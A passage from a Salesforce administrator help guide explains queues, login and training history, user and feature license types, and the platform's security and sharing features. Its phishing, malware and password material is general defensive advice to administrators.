The members list page displays a list of groups, roles, territories, and users that are members of the selected group or queue. From this page, you can view detailed member information and access other related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. Click a name to view the member details.

See Also:
About Groups Viewing All Users in a Group

Managing Queues

559

User Management

Managing Queues

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views and Manage Users

To view and manage queues, click Your Name > Setup > Manage Users > Queues. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. To create a queue, click New. To edit a queue, click Edit next to the queue name. To delete a queue, click Del next to the queue name. To view details about a queue, including the queue's members, click the queue's name.

See Also:
Queues Overview Viewing and Editing Queues Creating Queues

Queues Overview

560

User Management

Managing Queues

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Lead queues, case queues, and service contract queues are not available in Database.com

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views and Manage Users

Queues help your teams manage leads, cases, service contracts, and custom objects. Once records are placed in a queue manually or through an automatic case or lead assignment rule, records remain there until they're assigned to a user or taken by one of the queue members. Any queue member or users above them in the role hierarchy can take ownership of records in a queue. For example: Lead queues Help you manage the distribution of leads. For example, you may have a lead queue for a Western Region team and one for an Eastern Region team. You can put leads in different queues, either manually or automatically via a lead assignment rule as leads are imported, created or edited manually, or captured from the Web. Make salespeople members of one or more lead queues. Case queues Help you manage your support workload and differentiate cases based on support levels. With queues, you can ensure that cases are resolved quickly even if a specific user is on vacation. By creating queues for different support levels, such as Gold Service and Silver Service, cases are automatically prioritized. You can put cases in different queues, either manually or automatically via a case assignment rule as cases are generated from the Web or created manually. Make support agents members of case queues. Knowledge article version queues Help you manage the distribution of versions of Salesforce Knowledge articles for translation. For example, if multiple languages are used for your knowledge base, you can assign new versions of articles to a queue of users who can translate the article into a specific language. Service contract queues Help you manage the distribution of service contracts. For example, you may have a dedicated group of users who review service contracts. When a service contract is created, assign it to a queue so queue members can review the service contract.

561

User Management

Managing Queues

Custom object queues Help you manage the distribution of custom object records. When a custom object record is created, manually assign it to a queue so that the users assigned to the queue can access it and take ownership of it.

See Also:
Creating Queues Viewing and Editing Queues Managing Queues

Creating Queues
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views and Manage Users

1. 2. 3. 4.

Click Your Name > Setup > Manage Users > Queues. Click New. Enter a name for the queue. Choose email notification settings for the queue: To Notify You Must

One email address when new records are placed in the queue Add an email address to Queue Email You can add an email address for an individual user or an email distribution list. All queue members individually when new records are placed Leave Queue Email blank in the queue All queue members and the Queue Email individually when new records are placed in the queue Add an email address to Queue Email and check Send
Email to Members

5. If your organization uses divisions, select the default division for the queue.

562

User Management

Managing Queues

This determines the division for a record when it's assigned to the queue via assignment rules or a manual change of ownership. Note that cases inherit the division of the contact they're related to, or they're assigned to the default global division if no contact is specified. 6. Choose the objects available to the queue. 7. Choose queue members. You can select individual users, roles, public groups, territories, connections, or partner users. Only queue members and users above them in the role hierarchy can take ownership of records in the queue, depending on your organization's sharing settings. 8. Click Save. Tips on Creating Queues When you create a queue, Salesforce automatically creates a corresponding list view. Users can access the queue list view from the Cases, Leads, Service Contracts or custom object tabs. Only queue members and users above them in the role hierarchy have access to the queue list view, depending on your sharing settings. After you have defined a queue, you can set up lead or case assignment rules to automatically reassign ownership of leads and cases to the queue. After you have defined a queue for a custom object, you can set up a workflow rule that automatically reassigns ownership of custom object records to the queue via a field update on the record owner field.

See Also:
Queues Overview Viewing and Editing Queues Managing Queues

Viewing and Editing Queues


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views and Manage Users

To view or edit a queue: 1. Click Your Name > Setup > Manage Users > Queues and select the queue name.

563

User Management

Monitoring User Events

2. Click: Edit to make changes to the queue. Delete to remove the queue. You can't delete a queue if it's in an assignment rule or has records in it. View All Users to view the queue's members plus any users who have the same access as queue members because they're higher in your organization's role hierarchy. Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults. You can click View Queue Members to return to the Queue Members related list. 3. If you edited the queue, click Save.

See Also:
Queues Overview Creating Queues Managing Queues

Monitoring User Events


Available in: All Editions

User Permissions Needed To monitor logins and view training history: Manage Users

You can monitor user logins and trainings to determine who is using the application and how often and which users have taken training classes from salesforce.com. If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution, you can view the most recent Single Sign-On login errors for your organization.

See Also:
Monitoring Login History Monitoring Training History Viewing Single Sign-On Login Errors

Monitoring Login History

564

User Management

Monitoring User Events

Available in: All Editions

User Permissions Needed To monitor logins: Manage Users

On this page, Administrators can monitor the successful and failed login attempts for their organization and enabled portals. The columns on this page provide information about each login attempt. The login history page displays the most recent 20,000 entries in the login history database. If you need to see more records, you can download the information to a CSV or GZIP file. Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Access the Login History page by clickingYour Name > Setup > Manage Users > Login History. To download the information into a CSV or GZIP file: 1. Click Your Name > Setup > Manage Users > Login History. 2. Click one of the following radio buttons: Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six months. This report includes logins through the API. gzipped Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six months. This report includes logins through the API. The file is compressed and this is the preferred option for quickest download time.

3. Select the file contents. You can choose All Logins, IE6 Logins Only, or Web Site Logins Only. 4. Click Download Now. Note: Older versions of Microsoft Excel cannot open files with more than 65,536 rows. If you cannot open a large file in Excel, see the Microsoft Help and Support article about handling large files. You can create new list views sorted by Login Time and Login URL. For example, you could create a view of all logins between a particular time range. Like the default view, a custom view filters the most recent 20,000 rows in the login history database. To create a new view, click Create New View from the page. Fill in the following: 1. Enter View Name Enter the name to appear in the View drop-down list. 2. Specify Filter Criteria. You can filter by Login Time and Login URL. 3. Select Fields to Display The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters are displayed in the list view. To see the last ten successful and failed logins for a specific user, navigate to Your Name > Setup > Manage Users > Users, click on the Full Name for the user, and scroll to the Login History section.

565

User Management

Monitoring User Events

Personal Edition To view your personal login history: 1. Click Your Name > Setup > My Personal Information > Personal Information. 2. Scroll down to the Login History related list to view your last ten logins. 3. To download a CSV file of your login history for the past six months, click the Download... link. Note: For security purposes, Salesforce may require users to pass a user verification test to export data from their organization. This simple, text-entry test helps prevent malicious programs from accessing your organization's data. To pass the test, users must type the two words displayed on the overlay into the overlay's text box field, and click the Submit button. Note that the words entered into the text box field must be separated by a space. Salesforce uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for Completely Automated Public Turing Test To Tell Computers and Humans Apart. Single Sign-On with SAML If your organization has set up single sign-on using identity provider certificates (written in SAML), you may see login history messages specific to single sign-on. My Domain If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Your Name > Setup > Manage Users > Login History and look at the Username and Login URL columns.

Monitoring Training History


Available in: Group, Professional, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view training history: Manage Users

As an administrator, it is important to know that your team is learning how to use Salesforce effectively. The Training Class History shows you all of the salesforce.com training classes your users have taken. Administrators can view the Training Class History by choosing Your Name > Setup > Manage Users > Training History. After taking a live training class, users must submit the online training feedback form to have their training attendance recorded in the training history.

Viewing Single Sign-On Login Errors

566

User Management

Viewing User License Types

User Permissions Needed To view Single Sign-On login errors: Modify All Data

If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution, you can view the most recent Single Sign-On login errors for your organization. 1. Click Your Name > Setup > Manage Users > Delegated Authentication Error History. 2. For the twenty-one most recent login errors, you can view the user's username, login time, and the error. Note: Contact salesforce.com to learn more about enabling Single Sign-On for your organization.

See Also:
About Single Sign-On Best Practices for Implementing Single Sign-On Administrator setup guide: Single Sign-On Implementation Guide

Viewing User License Types


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view user license types: View Setup and Configuration

You may have more than one type of user license in Salesforce. A user license entitles a user to different functionality within Salesforce and determines which profiles and permission sets are available to the user. To view a list of the active user licenses your organization has purchased, click Your Name > Setup > Company Profile > Company Information. This page lists the following for each type of user license:
Status indicates the status of the license. Total Licenses indicates the number of licenses for which your organization is billed and that are available to you. Used Licenses is the number of licenses that you have assigned to users. Remaining Licenses is the number of unused licenses.

If Checkout is enabled for your organization, you can click Buy More Licenses to go to Checkout to buy additional user licenses. In addition to license types, the following portal login information is listed for organizations that have Customer Portals or partner portals enabled:
Monthly Logins Allotted shows the maximum number of customer or partner portal logins allowed per month.

567

User Management

Viewing User License Types

Monthly Logins Used indicates the number of successful logins for all users associated with a customer or partner

portal user license for the month. Note: You may see other types of licenses listed on this page if your organization has purchased custom user licenses for different types of functionality. Additionally, your organization may have other Salesforce licenses that are still supported, but are no longer available. Contact salesforce.com for more information. The lists below cover the functionality a user is entitled to for each type of standard user license.

Salesforce Users
User License
Salesforce

Description Designed for users who require full access to standard CRM and Force.com AppExchange apps. Users with this user license are entitled to access any standard or custom app. Each license provides additional storage for Enterprise and Unlimited Edition users. For more information, see Monitoring Resources on page 704.

Salesforce Platform

Designed for users who need access to custom apps but not to standard CRM functionality. Users with this user license are entitled to use custom apps developed in your organization or installed from Force.com AppExchange. In addition, they are entitled to use core platform functionality such as accounts, contacts, reports, dashboards, documents, and custom tabs. However, these users are not entitled to some user permissions and standard apps, including standard tabs and objects such as forecasts and opportunities. Users with this license can also use Connect Offline. Note: Users with this license can only view dashboards if the running user also has the same license. For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the Force.com app menu. Users with a Salesforce Platform user license can access all the custom apps in your organization. For a list of the total number of custom apps available in each Edition, see Salesforce Editions and Limits on page 1898. Each license provides additional storage for Enterprise and Unlimited Edition users. For more information, see Monitoring Resources on page 704.

Force.com - One App

Designed for users who need access to one custom app but not to standard CRM functionality. Force.com - One App users are entitled to the same rights as Salesforce Platform users, plus they have access to an unlimited number of custom tabs. However, they are limited to the use of one custom app, which is defined as up to 10 custom objects, and they are

568

User Management

Viewing User License Types

User License

Description limited to read-only access to the Accounts and Contacts objects. Note: Users with this license can only view dashboards if the running user also has the same license. Each license provides an additional 1 MB of data storage and 1 MB of file storage, regardless of the Salesforce Edition.

Ideas and Answers Internal User

Designed for internal Salesforce users who only need access to the ideas and answers features. This license allows users to access the Ideas tab, Answers tab, Home tab, and up to three other custom tabs. Designed for users who only need access to the Salesforce Knowledge app. This license provides access to the following tabs: Articles, Article Management, Home, Reports, and custom tabs. The Knowledge Only User license includes a Knowledge Only profile that grants access to the Articles tab. To view and use the Article Management tab, a user must have the Manage Articles permission. For more information, see Setting Up Salesforce Knowledge on page 1373. Designed for Unlimited, Enterprise, and Professional Edition users that don't have Salesforce licenses but need access to Chatter. These users can access standard Chatter people, profiles, groups, and files. They can't access any Salesforce objects or data. Note: You can upgrade a Chatter Free license to a standard Salesforce license at any time, however, you can't convert a standard Salesforce or Chatter Only license to a Chatter Free license.

Knowledge Only User

Chatter Free

Chatter External

Designed to allow customers in Chatter groups. Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups. Also known as Chatter Plus. Designed for Unlimited, Enterprise, and Professional Edition users that dont have Salesforce licenses but need access to some Salesforce objects in addition to Chatter. These users can access standard Chatter people, profiles, groups, and files, plus they can: View Salesforce accounts and contacts Use Salesforce CRM Content, Salesforce CRM Ideas, and Answers Modify up to ten custom objects

Chatter Only

569

User Management

Viewing User License Types

User License

Description Note: You must expose the tabs for the standard Salesforce objects that the Chatter Only user profile can access, as they are hidden by default for these users. Professional Edition organizations must have Profiles enabled to perform these tasks. Contact your sales representative for more information.

Sites and Siteforce Users


User License
Guest User

Description Designed for public users who access your Siteforce or Force.com sites. Site visitors have access to any information made available in an active public site. For each Guest User license, you can develop one site for your organization. For Siteforce, Developer, Enterprise, and Unlimited Editions each come with unlimited Guest User licenses. For Force.com sites, Enterprise and Unlimited Editions each come with 25 Guest User licenses. Developer and Force.com - Free Editions each come with one Guest User license. See Force.com Sites Limits and Billing on page 1494. Note: You can't purchase additional Guest User licenses for Force.com sites. The Authenticated Website User high-volume portal user license is specifically designed to be used with Force.com sites. Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites.

Siteforce Only

Designed for Unlimited and Enterprise Edition users who need access to Siteforce but not to standard CRM functionality. Siteforce Only users are entitled to the same rights as Force.com - One App users, plus they have access to the Content app. However, they don't have access to the Accounts and Contacts objects. Users have access to an unlimited number of custom tabs, but are limited to the use of one custom app, which is defined as up to 20 custom objects. Each Siteforce Only user also needs either a Siteforce Contributor or Siteforce Publisher feature license to access Siteforce. See Setting Up Siteforce Users on page 2072.

570

User Management

Viewing User License Types

Customer Portal Users


User License Portal User) and
Authenticated Website User

Description for contacts who are allowed to log in to your Salesforce Customer Portal to access customer support information. The Authenticated Website User license is designed to allow sites users to log in to your Customer Portal. You can associate high-volume portal users with a High Volume Customer Portal User or Authenticated Website User profile, or a profile cloned and customized from one of these. Can access custom objects depending on profile settings. High-volume portal users don't have roles and aren't included in the role hierarchy. They can access records if any of the following conditions are met: They own the record They can access a record's parent, and the organization-wide sharing setting for that record is Controlled by Parent The organization-wide sharing setting for the object is Public Read Only or Public Read/Write The record is the account or contact under which they are enabled (read access only)

High Volume Customer Portal User (Service Cloud The High Volume Customer Portal User license is designed

Both user licenses are high-volume portal users

You can't include high-volume portal users in: Personal groups or public groups Sharing rules Account teams, sales teams, or case teams Salesforce CRM Content libraries

Users with the High Volume Customer Portal User license can access accounts, assets, cases, contacts, custom objects, documents, ideas, and questions depending on their permission settings. Users with the Authenticated Website User license have read-only access to documents, ideas and questions, as well as full access to custom objects. Contact salesforce.com for information about the number of Customer Portal user licenses you can activate.
Customer Portal Manager Custom

Designed for contacts who are allowed to log in to your Salesforce Customer Portal to access customer support information. You can associate users with a Customer Portal Manager Custom license with the Customer Portal User profile or a profile cloned and customized from the Customer Portal User profile, which lets them view and edit data they directly own and view, create, and edit cases where they're listed in the Contact Name field. Users with the Customer Portal Manager Custom license can:

571

User Management

Viewing User License Types

User License

Description Access custom objects and run reports depending on their permissions Receive the Portal Super User and Delegated Portal User Administrator permissions Access Salesforce CRM Content if they have a Salesforce CRM Content feature license or the appropriate permissions

Contact salesforce.com for information about the number of Customer Portal user licenses you can activate.

Partner Portal Users


Users with a partner user license can only access Salesforce using the partner portal. User License
Gold Partner

Description Users with a Gold Partner license can access the Documents tab, My Account Profile, Leads, Custom Objects, Approvals, Accounts, Cases, and Opportunities, and have 5 MB of data storage space. Access to Salesforce CRM Content is determined by feature license and user permissions.

Database.com Users
User License Database.com Admin Description Default Number of Available Licenses

Designed for users who need to administer Database.com, 2 or make changes to Database.com schemas or other metadata using the point-and-click tools in the Database.com Console. Designed for users who need API access to data stored in Database.com. 5

Database.com User Database.com Light User

Designed for users who need only API access to data, need 5 to belong to Chatter groups (but no other groups), and don't need to belong to roles or queues. Access to data is determined by organization-wide sharing defaults.

See Also:
Adding New Users Viewing and Managing Users About Company Information Viewing Feature Licenses

572

User Management

Viewing Feature Licenses

Viewing Feature Licenses


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view feature licenses: View Setup and Configuration

You may have more than one type of feature license available to assign to the users in your organization. A feature license entitles a user to an additional Salesforce feature, such as Marketing or Connect Offline. To view a list of the feature licenses your organization has purchased, click Your Name > Setup > Company Profile > Company Information. This page lists the following for each type of feature license:
Status indicates the status of the license. Total Licenses indicates the number of licenses for which your organization is billed and that are available to you. Used Licenses is the number of licenses that you have assigned to users. Remaining Licenses is the number of unused licenses.

Additionally, if Checkout is enabled for your organization, you can click Buy More Licenses to go to Checkout to buy additional feature licenses; see Checkout User Guide for instructions. The following feature licenses are available: Marketing User Offline User Apex Mobile User Salesforce CRM Content User Knowledge User Service Cloud User Force.com Flow User Siteforce Contributor User Siteforce Publisher User

To enable a feature for a user in your organization, you can assign feature licenses when adding new users or editing a user's personal information. For information on purchasing feature licenses, contact salesforce.com.

See Also:
About Company Information Viewing User License Types

573

Security and Sharing

Security Overview

SECURITY AND SHARING


Security Overview
Salesforce is built with security as the foundation for the entire service. This foundation includes both protection for your data and applications, and the ability to implement your own security scheme to reflect the structure and needs of your organization. The security features of Salesforce provide both strength and flexibility. However, protecting your data is a joint responsibility between you and salesforce.com. The security features in Salesforce enable you to empower your users to do their jobs efficiently, while also limiting exposure of data to the users that need to act upon it. Implement security controls that you think are appropriate for the sensitivity of your data. Your data is protected from unauthorized access from outside your company, and you should also safeguard it from inappropriate usage by your users. See the following topics to get more information about the various security components in Salesforce: Security Infrastructure on page 574 Trust and Salesforce.com on page 575 User Security on page 576 About Passwords on page 811 User Authentication on page 577 Identity Providers on page 578 Network-Based Security on page 578 CAPTCHA Security for Data Exports on page 578 Session Security on page 579 Securing Data Access on page 580 Auditing on page 579 Portal Health Check Overview on page 696

See Also:
FAQ: Security & Scalability Securing Data Access FAQ: What browsers are supported? Setting Login Restrictions Setting Session Security Setting Password Policies Administrator setup guide: Security Implementation Guide

Security Infrastructure
One of the core features of a multi-tenant platform is the use of a single pool of computing resources to service the needs of many different customers. Salesforce protects your organization's data from all other customer organizations by using a unique

574

Security and Sharing

Security Overview

organization identifier, which is associated with each user's session. Once you log in to your organization, your subsequent requests are associated with your organization, using this identifier. Salesforce utilizes some of the most advanced technology for Internet security available today. When you access the application using a Salesforce-supported browser, Secure Socket Layer (SSL) technology protects your information using both server authentication and data encryption, ensuring that your data is safe, secure, and available only to registered users in your organization. For more information about supported browsers, see What browsers does Salesforce support? on page 3098. In addition, Salesforce is hosted in a secure server environment that uses a firewall and other advanced technology to prevent interference or access from outside intruders.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

Trust and Salesforce.com


Trust starts with transparency and that is why salesforce.com displays real-time information on system performance and security on the trust site at http://trust.salesforce.com. On this site, you can find live data on system performance, current and recent phishing and malware attempts, and tips on best security practices for your organization. The Security tab on the trust site includes valuable information that can help you to safeguard your company's data. In particular, phishing and malware are Internet scams on the rise. Phishing is a social engineering technique that attempts to acquire sensitive information such as usernames, passwords and credit card details, by masquerading as a trustworthy entity in an electronic communication. Phishers often direct users to enter details at a fake website whose URL and look-and-feel are almost identical to the legitimate one. As the salesforce.com community grows, it has become an increasingly appealing target for phishers. You will never get an email or a phone call from a salesforce.com employee asking you to reveal a password, so you should refuse to reveal it to anyone. You can report any suspicious activities by clicking the Report a Suspicious Email link under the Trust tab at http://trust.salesforce.com. Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general term used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware. What Salesforce.com is Doing Customer security is the foundation of customer success, so salesforce.com will continue to implement the best possible practices and technologies in this area. Recent and ongoing actions include: Actively monitoring and analyzing logs to enable proactive alerts to customers who have been affected. Collaborating with leading security vendors and experts on specific threats. Executing swift strategies to remove or disable fraudulent sites (often within an hour of detection). Reinforcing security education and tightening access policies within salesforce.com. Evaluating and developing new technologies both for our customers and for deployment within our infrastructure.

What Salesforce.com Recommends You Do Salesforce.com is committed to setting the standards in software-as-a-service as an effective partner in customer security. So, in addition to internal efforts, salesforce.com strongly recommends that customers implement the following changes to enhance security:

575

Security and Sharing

Security Overview

Modify your Salesforce implementation to activate IP range restrictions. This will allow users to access Salesforce only from your corporate network or VPN, thus providing a second factor of authentication. For more information, see Setting Session Security on page 626 and Restricting Login IP Ranges for Your Organization on page 629. Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts. Use security solutions from leading vendors such as Symantec to deploy spam filtering and malware protection. Designate a security contact within your organization so that salesforce.com can more effectively communicate with you. Contact your salesforce.com representative with this information. Consider using two-factor authentication techniques, such as RSA tokens, to restrict access to your network.

Salesforce.com has a Security Incident Response Team to respond to any security issues. To report a security incident with Salesforce, contact security@salesforce.com. Describe the incident in detail, and the team will respond promptly.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

User Security
Salesforce provides each user in your organization with a unique username and password that must be entered each time a user logs in. Salesforce issues a session cookie only to record encrypted authentication information for the duration of a specific session. The session cookie does not include either the username or password of the user. Salesforce does not use cookies to store other confidential user and session information, but instead implements more advanced security methods based on dynamic data and encoded session IDs.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

About Passwords
Password policies available in: All Editions

User Permissions Needed To set password policies: To reset user passwords and unlock users: Manage Users Reset User Passwords and Unlock Users

There are several settings you can configure to ensure that your users passwords are strong and secure: Password policiesset various password and login policies, such as specifying an amount of time before all users' passwords expire, the level of complexity required for passwords, and so on. See Setting Password Policies on page 624.

576

Security and Sharing

Security Overview

User password expirationexpire the passwords for all the users in your organization (except for users with Password Never Expires permission.) See Expiring Passwords on page 480. User password resetsreset the password for specified users. See Resetting Passwords on page 479. Login attempts and lockout periodsif a user is locked out of Salesforce due to too many failed login attempts, you can unlock them. See Editing Users on page 476.

Password Requirements A password cannot contain your User Name and cannot match your first or last name. For all editions, a new organization has the following default password requirements: A password must contain at least eight characters. A password must contain at least one alphabetic character and one number. The answer to the question posed if you forget your password cannot contain your password. The last three passwords are remembered and cannot be reused when you are changing your password.

The password policies, including these defaults, can be updated for all editions except for Personal Edition. See Setting Password Policies on page 624 for more details.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

User Authentication
Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to simplify and standardize their user authentication. You have two options to implement single sign-onfederated authentication using Security Assertion Markup Language (SAML) or delegated authentication. Federated authentication using Security Assertion Markup Language (SAML) allows you to send authentication and authorization data between affiliated but unrelated Web services. This enables you to sign-on to Salesforce from a client application. Federated authentication using SAML is enabled by default for your organization. Delegated authentication single sign-on enables you to integrate Salesforce with an authentication method that you choose. This enables you to integrate authentication with your LDAP (Lightweight Directory Access Protocol) server, or perform single sign-on by authenticating using a token instead of a password. You manage delegated authentication at the permission level, allowing some users to use delegated authentication, while other users continue to use their Salesforce-managed password. Delegated authentication is set by permissions, not by organization. You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization. The primary reasons for using delegated authentication include: Using a stronger type of user authentication, such as integration with a secure identity provider Making your login page private and not part of the general Internet, but rather, part of your corporate network, behind your corporate firewall Differentiating your organization from all other companies that use Salesforce in order to reduce phishing attacks

577

Security and Sharing

Security Overview

For more information, see About Single Sign-On on page 630.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

Identity Providers
An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers, so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users: instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as tabs to your Salesforce organization, which means users won't have to switch between programs. For more information, see About Identity Providers and Service Providers in the Salesforce online help.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

Network-Based Security
User authentication determines who can log in, while network-based security limits where they can log in from and when. Use network-based security to limit the window of opportunity for an attacker by restricting the origin of user logins. Network-based security can also make it more difficult for an attacker to use stolen credentials. To enhance network-based security, Salesforce includes the ability to restrict the hours during which users can log in and the range of IP addresses from which they can log in. If IP address restrictions are defined for a user's profile and a login originates from an unknown IP address, Salesforce does not allow the login. This helps to protect your data from unauthorized access and phishing attacks. To set the organization-wide list of trusted IP addresses from which users can always log in without a login challenge, see Restricting Login IP Ranges for Your Organization on page 629. To restrict login hours by profile, or to restrict logins by IP addresses for specific profiles, see Setting Login Restrictions on page 522.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

CAPTCHA Security for Data Exports


By request, salesforce.com can also require users to pass a user verification test to export data from Salesforce. This simple, text-entry test helps prevent malicious programs from accessing your organization's data, as well as reducing the risk of

578

Security and Sharing

Security Overview

automated attacks. CAPTCHA is a type of network-based security. To pass the test, users must type two words displayed on an overlay into the overlay's text box field, and click a Submit button. Salesforce uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated program, has correctly entered the text into the overlay. CAPTCHA stands for Completely Automated Public Turing Test To Tell Computers and Humans Apart.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves their computer unattended while still logged on. It also limits the risk of internal attacks, such as when one employee tries to use another employee's session. You can control the session expiration time window for user logins. Session expiration allows you to select a timeout for user sessions. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with a dialog that allows them to log out or continue working. If they do not respond to this prompt, they are automatically logged out. Note: When a user closes a browser window or tab they are not automatically logged off from their Salesforce session. Please ensure that your users are aware of this, and that they end all sessions properly by clicking Your Name > Logout. By default, Salesforce uses SSL (secure sockets layer) and requires secure connections (HTTPS) for all communication. The Require secure connections (HTTPS) setting determines whether SSL (HTTPS) is required for access to Salesforce, apart from Force.com sites, which can still be accessed using HTTP. (To enforce HTTPS for all Force.com sites communication, see Public Access Settings for Force.com Sites on page 1508.) If you disable this setting and change the URL from https:// to http://, you can still access the application. However, you should require all sessions to use SSL for added security. See Setting Session Security on page 626.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

Auditing
Auditing features do not secure your organization by themselves, but these features provide information about usage of the system, which can be critical in diagnosing potential or real security issues. It is important that someone in your organization perform regular audits to detect potential abuse. The other security features provided by Salesforce are preventative. To verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends. Auditing features include:

579

Security and Sharing

Securing Data Access

Record Modification Fields All objects include fields to store the name of the user who created the record and who last modified the record. This provides some basic auditing information. Login History You can review a list of successful and failed login attempts to your organization for the past six months. See Monitoring Login History on page 564. Field History Tracking You can also enable auditing for individual fields, which will automatically track any changes in the values of selected fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing. See Tracking Field History on page 1007. Setup Audit Trail Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization's configuration. See Monitoring Setup Changes on page 687.

See Also:
Security Overview Administrator setup guide: Security Implementation Guide

Securing Data Access


The available data management options vary according to which Salesforce Edition you have.

Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of data access for your users. To enable users to do their job without exposing data that they do not need to see, Salesforce provides a flexible, layered sharing design that allows you to expose different data sets to different sets of users. To specify the objects that users can access, you can assign permission sets and profiles. To specify the fields that users can access, you can use field-level security. To specify the individual records that users can view and edit, you can set your organization-wide sharing settings, define a role hierarchy, and create sharing rules. Tip: When implementing security and sharing rules for your organization, make a table of the various types of users in your organization. In the table, specify the level of access to data that each type of user needs for each object and for fields and records within the object. You can refer to this table as you set up your security model. The following describes these security and sharing settings:

580

Security and Sharing

Securing Data Access

Object-Level Security (Permission Sets and Profiles) Object-level security provides the bluntest way to control data. Using object-level security you can prevent a user from seeing, creating, editing, or deleting any instance of a particular type of object, such as a lead or opportunity. Object-level security lets you hide whole tabs and objects from particular users, so that they don't even know that type of data exists. You specify object-level security settings in permission sets and profiles. Permission sets and profiles are collections of settings and permissions that determine what a user can do in the application, similar to a group in a Windows network, where all of the members of the group have the same folder permissions and access to the same software. Profiles are typically defined by a user's job function (for example, system administrator or sales representative). A profile can be assigned to many users, but a user can be assigned to only one profile. You can use permission sets to grant additional permissions and access settings to users. It's easy to manage users' permissions and access with permission sets, because you can assign multiple permission sets to a single user. Field-Level Security (Permission Sets and Profiles) In some cases, you may want users to have access to an object, but limit their access to individual fields in that object. Field-level security controls whether a user can see, edit, and delete the value for a particular field on an object. It lets you protect sensitive fields without having to hide the whole object from users. Field-level security is also controlled in permission sets and profiles. Unlike page layouts, which only control the visibility of fields on detail and edit pages, field-level security controls the visibility of fields in any part of the app, including related lists, list views, reports, and search results. To ensure that a user can't access a particular field, use field-level security settings. No other settings provide the same level of protection for a field. Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support. Record-Level Security (Sharing) After setting object- and field-level access permissions, you may want to configure access settings for the actual records themselves. Record-level security lets you give users access to some object records, but not others. Every record is owned by a user or a queue. The owner has full access to the record. In a hierarchy, users higher in the hierarchy always have the same access to users below them in the hierarchy. This access applies to records owned by users, as well as records shared with them. To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules. Organization-wide sharing settingsThe first step in record-level security is to determine the organization-wide sharing settings for each object. Organization-wide sharing settings specify the default level of access users have to each others' records. You use organization-wide sharing settings to lock down your data to the most restrictive level, and then use the other record-level security and sharing tools to selectively give access to other users. For example, let's say users have object-level permissions to read and edit opportunities, and the organization-wide sharing setting is Read-Only. By default, those users can read all opportunity records, but can't edit any unless they own the record or are granted additional permissions. Role hierarchyOnce you've specified organization-wide sharing settings, the first way you can give wider access to records is with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that a user or group of users needs. The role hierarchy ensures that users higher in the hierarchy always have access to the same data as people lower in their hierarchy, regardless of the organization-wide default settings. Role hierarchies

581

Security and Sharing

Securing Data Access

